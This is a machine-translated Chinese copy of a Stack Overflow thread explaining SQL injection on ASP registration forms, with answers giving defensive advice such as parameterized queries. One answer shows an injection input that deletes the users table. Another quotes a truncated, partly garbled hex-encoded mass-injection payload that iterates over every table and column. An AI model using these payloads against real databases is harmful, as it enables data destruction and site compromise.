对ASP注册表单页面的SQL注入攻击?

时间:2009-07-15 13:15:44

标签: asp.net sql asp-classic sql-injection

我需要知道ASP或ASP.Net对注册表单进行SQL注入攻击的过程吗?

6 个答案:

答案 0 :(得分:5)

这是一个简单的例子:

屏幕输入:

enter your name:  Bill'); delete from users --

构建查询

insert into users (name) values ('''+@Name+''')'

实际查询:

insert into users (name) values ('Bill'); delete from users --')

会发生什么:所有用户都被删除

仅供参考,不确定您使用的数据库,但@Name是一个变量,“ - ”是一个评论

答案 1 :(得分:1)

答案 2 :(得分:0)

始终验证SQL查询,删除任何不需要的字符并使用SQL参数来避免SQL注入。

答案 3 :(得分:0)

使用存储过程来避免SQL注入,也使用Server.HtmlEncode(字符串输入)

答案 4 :(得分:0)

SQL注入攻击是将SQL注入用户界面元素的过程,随后将在后端SQL服务器上执行该操作,从而导致意外行为。 Click here for an article, that explains SQL Injection Attack with an example.只需使用存储过程或参数化查询来解决SQL注入攻击。

答案 5 :(得分:0)

攻击者不仅从表单中破解SQL查询,而且还使用ASP中的查询字符串或过去的方法,他们的软件可以找到使用Querystring中的值的页面。攻击者在该URL中添加他们的脚本,并且当网站站点页面代码从querystring获取值时,并且没有检查来验证该值。所有脚本都传递给数据库以供执行。 url中使用的脚本是十六进制格式,当您在查询anaylser中运行此语句时,它将采用可执行格式。不要在LIVE DATABASE上运行这个脚本,为此需要创建一个虚拟数据库,然后执行它,否则你的数据库将被感染。

这些语句使得获取数据库的所有表的cusrors以及表的所有列都扩展了Injection。 +声明+%的40s + VARCHAR%288000%29 + +设定40年代%%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f5343484  detail link